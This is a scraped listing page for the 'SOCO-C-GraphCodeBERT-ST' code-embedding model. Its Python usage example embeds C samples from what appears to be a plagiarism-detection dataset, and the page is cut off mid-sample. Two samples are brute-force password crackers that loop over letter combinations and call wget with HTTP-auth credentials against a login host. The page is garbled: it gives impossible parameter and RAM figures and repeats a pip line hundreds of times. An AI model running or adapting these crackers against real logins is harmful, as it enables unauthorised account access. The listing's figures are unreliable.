SOCO-C-GraphCodeBERT-ST
6
—
by
buelfhood
Embedding Model
OTHER
1703.07737B params
New
6 downloads
Early-stage
Edge AI:
Mobile
Laptop
Server
3807GB+ RAM
Mobile
Laptop
Server
Quick Summary
AI model with specialized capabilities.
Device Compatibility
Mobile
4-6GB RAM
Laptop
16GB RAM
Server
GPU
Minimum Recommended
1587GB+ RAM
Code Examples
Usagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagebash
pip install -U sentence-transformersUsagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-GraphCodeBERT-ST")
# Run inference
sentences = [
'#include<stdio.h>\n#include<stdlib.h>\n\nint ()\n{\n\nFILE *fin1;\nFILE *fin2;\nint flag=0;\n\n\nwhile(1)\n{\n \n system("wget -p http://www.cs.rmit.edu./students");\n\n system("cd www.cs.rmit.edu./");\n\n \n \n if(flag>0)\n {\n \n fin1=fopen("./watchtext/index.html","r");\n fin2=fopen("./watchtext/test2.txt","r");\n system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");\n system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");\n system("rm ./www.cs.rmit.edu./test2.txt");\n \n fclose(fin2);\n fclose(fin1); \n } \n \n if(flag==0)\n {\n system("mkdir watchtext"); \n if((fin1=fopen("./watchtext/index.html","r"))==NULL)\n {\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");\n \n flag++;\n }\n \n } \n \n \n \n printf("Running every 24 hours"); \n sleep(86400); \n \n}\n system("rmdir ./watchtext"); \n} \n \n \n \n \n',
'#include<stdio.h>\n#include<stdlib.h>\n#include<string.h> \n#include <ctype.h>\n#include <sys/time.h>\n\n\n#define SUCCESS 0;\n#define FAILURE 1;\n#define SECONDS 1e9\n\nint findPassword(char *);\nint smallPass();\nint capsPass();\n\nint main()\n{\n\tint foundP;\t\n\tfoundP=smallPass();\n\tfoundP=capsPass();\n\tif(foundP == 2)\n\t{\t\t\n\t\treturn SUCCESS;\n\t}\n\tprintf("\\n PASSWORD NOT FOUND");\n\treturn SUCCESS;\n \n}\n\nint smallPass()\n{\n\tchar [26] ={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=0;j<3;j++)\n\t{\n\t\tincr=0;\t\t\n\t\tfor(i=0;i<=25;i++)\n\t\t{\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = [k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\t\t\n\t\t\t\tpass[j-2]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = [k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = [l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\t\t\t\t\t\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\n\nint capsPass()\n{\n\tchar caps[26] ={\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=2;j<3;j++)\n\t{\n\t\tincr=0;\n\t\tfor(i=0;i<=25;i++)\n\t\t{\n\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=caps[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = caps[k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-2]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = caps[k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = caps[l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\nint findPassword(char *pass)\n{\n\tchar var[50]="";\t\n\tchar [50]="";\n\tstrcpy(var,"wget --non-verbose --http-user= --http-passwd=");\t\t\n\tstrcpy(," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n\tstrcat(var,pass);\n\tstrcat(var,);\n\tif(system(var)==0)\n\t{\t\t\n\t\treturn 2;\n\t}\t\n\t\t\n\treturn SUCCESS;\n}\n\n\n\t \n',
'#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<sys/time.h>\n\n()\n{\n\tint i,j,k,m,count=0,flage=0;\n\tFILE* log;\n\ttime_t ,finish;\n\tdouble ttime;\n\tchar s[30];\n\tchar arr[52]={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\tchar add[100];\n\tstrcpy(add,"wget --http-user= --http-passwd= -nv -o log http://sec-crack.cs.rmit.edu./SEC/2/");\n\t=time(NULL);\t\n\tfor(i=0;i<52;i++)\t\n\t{\n\t\tfor(j=0;j<52;j++)\n\t\t{\n\t\t\tfor(k=0;k<52;k++)\n\t\t\t{\n\t\t\tprintf("%c %c %c\\n",arr[i],arr[j],arr[k]);\n\t\t\t\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tadd[42]=arr[k];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\t\t\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],arr[k],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\tif(flage==0)\t\n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\tadd[40]=arr[i];\n\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t}\n\t}\n\tif(flage==0)\t \n\t{\n\t\tfor(i=0;i<52;i++)\n\t\t{\n\t\t\tfor(j=0;j<52;j++)\n\t\t\t{\n\t\t\tadd[40]=arr[i];\n\t\t\tadd[41]=arr[j];\n\t\t\tsystem(add);\n\t\t\tcount++;\n\t\t\tlog=fopen("log","r");\n\t\t\tif(log!=(FILE*)NULL)\n\t\t\tfgets(s,100,log);\n\t\t\tprintf("%s",s);\n\t\t\t\tif(strcmp(s,"Authorization failed.\\n")!=0)\n\t\t\t\t{\n\t\t\t\t\tfinish=time(NULL);\n\t\t\t\t\tttime=difftime(,finish);\n\t\t\t\t\tprintf("\\nThe password is %c%c%c \\nThe time:%f\\n The of attempts %d",arr[i],arr[j],ttime,count);\n\t\t\t\t\tflage=1;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\n\t\t\t\tfclose(log);\n\t\t\t}\n\t\t}\n\t}\n\t\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]
# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9511, 0.9570],
# [0.9511, 1.0000, 0.9799],
# [0.9570, 0.9799, 1.0000]])Usagepython
from sentence_transformers import SentenceTransformer
# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-GraphCodeBERT-ST")
# Run inference
sentences = [
'#include<stdio.h>\n#include<stdlib.h>\n\nint ()\n{\n\nFILE *fin1;\nFILE *fin2;\nint flag=0;\n\n\nwhile(1)\n{\n \n system("wget -p http://www.cs.rmit.edu./students");\n\n system("cd www.cs.rmit.edu./");\n\n \n \n if(flag>0)\n {\n \n fin1=fopen("./watchtext/index.html","r");\n fin2=fopen("./watchtext/test2.txt","r");\n system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");\n system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");\n system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");\n system("rm ./www.cs.rmit.edu./test2.txt");\n \n fclose(fin2);\n fclose(fin1); \n } \n \n if(flag==0)\n {\n system("mkdir watchtext"); \n if((fin1=fopen("./watchtext/index.html","r"))==NULL)\n {\n system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");\n system("md5sum ./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");\n \n flag++;\n }\n \n } \n \n \n \n printf("Running every 24 hours"); \n sleep(86400); \n \n}\n system("rmdir ./watchtext"); \n} \n \n \n \n \n',
'#include<stdio.h>\n#include<stdlib.h>\n#include<string.h> \n#include <ctype.h>\n#include <sys/time.h>\n\n\n#define SUCCESS 0;\n#define FAILURE 1;\n#define SECONDS 1e9\n\nint findPassword(char *);\nint smallPass();\nint capsPass();\n\nint main()\n{\n\tint foundP;\t\n\tfoundP=smallPass();\n\tfoundP=capsPass();\n\tif(foundP == 2)\n\t{\t\t\n\t\treturn SUCCESS;\n\t}\n\tprintf("\\n PASSWORD NOT FOUND");\n\treturn SUCCESS;\n \n}\n\nint smallPass()\n{\n\tchar [26] ={\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=0;j<3;j++)\n\t{\n\t\tincr=0;\t\t\n\t\tfor(i=0;i<=25;i++)\n\t\t{\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = [k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\t\t\n\t\t\t\tpass[j-2]=[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = [k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = [l];\n\t\t\t\t\t\tpass[j+1]=\'\\0\';\n\t\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\t\tif(found == 2)\n\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\tend = time();\n\t\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\t\t\t\t\t\n\t\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\t\t\n\t\t\t\t\t\t\treturn 2;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\t}\n\t\n\treturn SUCCESS;\t\n}\n\n\n\nint capsPass()\n{\n\tchar caps[26] ={\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\t\n\tchar pass[3]="";\t\n\tint i,j,k,l;\n\tint incr;\n\tint found;\n\tint , end, final;\t\n\t\n\t = time();\n\tfor(j=2;j<3;j++)\n\t{\n\t\tincr=0;\n\t\tfor(i=0;i<=25;i++)\n\t\t{\n\t\t\t\t\n\t\t\tif(j==0)\n\t\t\t{\t\n\t\t\t\tincr++;\n\t\t\t\tpass[j]=caps[i];\n\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\tfound = findPassword(pass);\n\t\t\t\tif(found == 2)\n\t\t\t\t{\t\n\t\t\t\t\tend = time();\n\t\t\t\t\tfinal = end-;\n\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\t\n\t\t\t\t\treturn 2;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\tif(j==1)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-1]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tincr++;\n\t\t\t\t\tpass[j] = caps[k];\n\t\t\t\t\tprintf("\\n Trial %d --- %s ",incr,pass);\n\t\t\t\t\tfound = findPassword(pass);\n\t\t\t\t\tif(found == 2)\n\t\t\t\t\t{\t\n\t\t\t\t\t\tend = time();\n\t\t\t\t\t\tfinal = end-;\n\t\t\t\t\t\tprintf(" %lld nanoseconds (%1f seconds) find the Password\\n",final,(double) final / SECONDS);\n\t\t\t\t\t\tprintf("\\nPASSWORD FOUND -- %s",pass);\t\t\t\n\t\t\t\t\t\treturn 2;\n\t\t\t\t\t}\t\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(j==2)\n\t\t\t{\t\t\t\t\n\t\t\t\tpass[j-2]=caps[i];\n\t\t\t\tfor(k=0;k<=25;k++)\n\t\t\t\t{\n\t\t\t\t\tpass[j-1] = caps[k];\n\t\t\t\t\tfor(l=0;l<=25;l++)\n\t\t\t\t\t{\n\t\t\t\t\t\tincr++;\n\t\t\t\t\t\tpass[j] = 